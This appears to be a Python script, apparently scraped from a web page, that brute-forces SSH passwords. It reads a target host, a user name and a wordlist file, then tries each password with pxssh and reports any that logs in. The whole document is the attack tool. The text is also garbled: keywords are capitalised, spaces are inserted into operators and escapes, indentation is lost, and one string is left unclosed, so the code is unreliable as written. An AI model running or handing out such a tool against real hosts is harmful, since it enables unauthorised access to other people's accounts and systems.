|
Import Pxssh
Import Optparse
def connect (Host,user,password):
print ' [-] testing: ' + password
Try
s = pxssh.pxssh ()
S.login (Host,user,password)
print ' [*] Password Found: ' +password
Except
print ' [-] Error connecting '
def main ():
Parser = Optparse. Optionparser (' Usage%prog-h
Parser.add_option ('-h ', dest= ' tgthost ', type= ' string ', help= ' specify target host ')
Parser.add_option ('-u ', dest= ' user ', type= ' string ', help= ' Specify the user ')
Parser.add_option ('-f ', dest= ' passwdfile ', type= ' string ', help= ' Passwod file ')
(Options,args) = Parser.parse_args ()
Host = Options.tgthost
Passwdfile = Options.passwdfile
user = Options.user
fn = open (Passwdfile, ' R ')
For line in Fn.readlines ():
Password = Line.strip (' \ R '). Strip (' \ n ')
Connect (Host,user,password)
if __name__ = = ' __main__ ':
Main ()
|